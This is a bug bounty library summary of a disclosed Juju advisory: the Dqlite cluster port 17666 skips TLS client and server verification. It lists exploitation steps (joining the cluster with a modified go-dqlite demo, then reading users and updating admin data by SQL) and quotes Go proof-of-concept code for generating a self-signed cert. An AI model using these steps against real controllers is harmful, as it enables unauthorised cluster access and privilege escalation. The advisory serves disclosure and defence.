# Juju has Improper TLS Client/Server authentication and certificate verification on Database Cluster

Juju's Dqlite cluster endpoint on port 17666 accepts any TLS client cert and skips server verification, letting a network-adjacent attacker join the cluster and rewrite controller data.

- Payout: Research
- Severity: critical
- Program: Juju
- Found by: hpidcock, tlm
- Disclosed: 2026-04-02
- CVE: CVE-2026-4370
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-gvrj-cjch-728p
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-gvrj-cjch-728p
- Tags: area:cloud domain:infra impact:integrity impact:internal-access impact:privesc kind:research platform:ghsa sev:critical tech:go technique:source-review vuln:auth-bypass vuln:misconfiguration

**Target:** Dqlite cluster replication endpoint (TCP 17666) of a Juju controller
**Root cause:** The Dqlite node TLS config does not verify client certificates (no client auth enforcement) and the client side sets InsecureSkipVerify, so any peer presenting a self-signed cert is accepted and the server's identity is never checked.
**Steps:**
1. Bootstrap a controller: `juju bootstrap lxd a`; note controller IP and Dqlite port 17666.
2. Build the PoC tool (go-dqlite demo app) that generates a self-signed ECDSA cert and configures `app.WithTLS(&tls.Config{InsecureSkipVerify: true, ClientCAs: x509.NewCertPool(), Certificates: []tls.Certificate{cart}}, &tls.Config{InsecureSkipVerify: true})`.
3. Join the cluster: `dqlite-demo --db 192.168.1.25:9999 --join 10.151.236.15:17666`.
4. Open the controller DB: `.switch controller`, then `select * from user;` to read all users.
5. Modify data: `update user set display_name='Silly Admin' where name='admin';`
6. Verify via `juju users` that the admin display name changed.
**How found:** Code review of internal/database/node.go lines 312-324 revealed the TLS config lacked client cert verification and used InsecureSkipVerify on the client side; confirmed by adapting the go-dqlite demo to join with a self-signed cert.
**Exploitation:** Attacker with only network route-ability to port 17666 runs the modified go-dqlite demo, which presents a self-signed cert and skips server verification, joins the Dqlite cluster as a voting member, then issues arbitrary SQL against the `controller` database to read/modify all state, escalate privileges, or open firewall ports.
**Escalation:** Cluster membership grants full read/write on controller DB, enabling privilege escalation (e.g. superuser manipulation) and firewall port changes.
**Insight:** When auditing clustered datastores (Dqlite/Raft/etcd), check both directions of mTLS: a server that doesn't require client certs plus a client with InsecureSkipVerify means any routable peer can become a cluster member and write to the replicated state machine.

## Proof of concept (copied exactly from the original report)

**Self-signed cert generation with InsecureSkipVerify**

```
func generateSelfSignedCert() (tls.Certificate, error) {
	key, err := ecdsa.GenerateKey(elliptic.P256(), rand.Reader)
	if err != nil {
		return tls.Certificate{}, fmt.Errorf("generate key: %w", err)
	}

	tmpl := &x509.Certificate{
		SerialNumber: big.NewInt(1),
		Subject:      pkix.Name{CommonName: "lol"},
		NotBefore:    time.Now(),
		NotAfter:     time.Now().Add(365 * 24 * time.Hour),
		KeyUsage:     x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature,
		ExtKeyUsage:  []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth},
		IPAddresses:  []net.IP{net.ParseIP("127.0.0.1")},
		DNSNames:     []string{"lol"},
	}

	certDER, err := x509.CreateCertificate(rand.Reader, tmpl, tmpl, &key.PublicKey, key)
	if err != nil {
		return tls.Certificate{}, fmt.Errorf("create cert: %w", err)
	}

	keyDER, err := x509.MarshalECPrivateKey(key)
	if err != nil {
		return tls.Certificate{}, fmt.Errorf("marshal key: %w", err)
	}

	certPEM := pem.EncodeToMemory(&pem.Block{Type: "CERTIFICATE", Bytes: certDER})
	keyPEM := pem.EncodeToMemory(&pem.Block{Type: "EC PRIVATE KEY", Bytes: keyDER})

	return tls.X509KeyPair(certPEM, keyPEM)
}
```

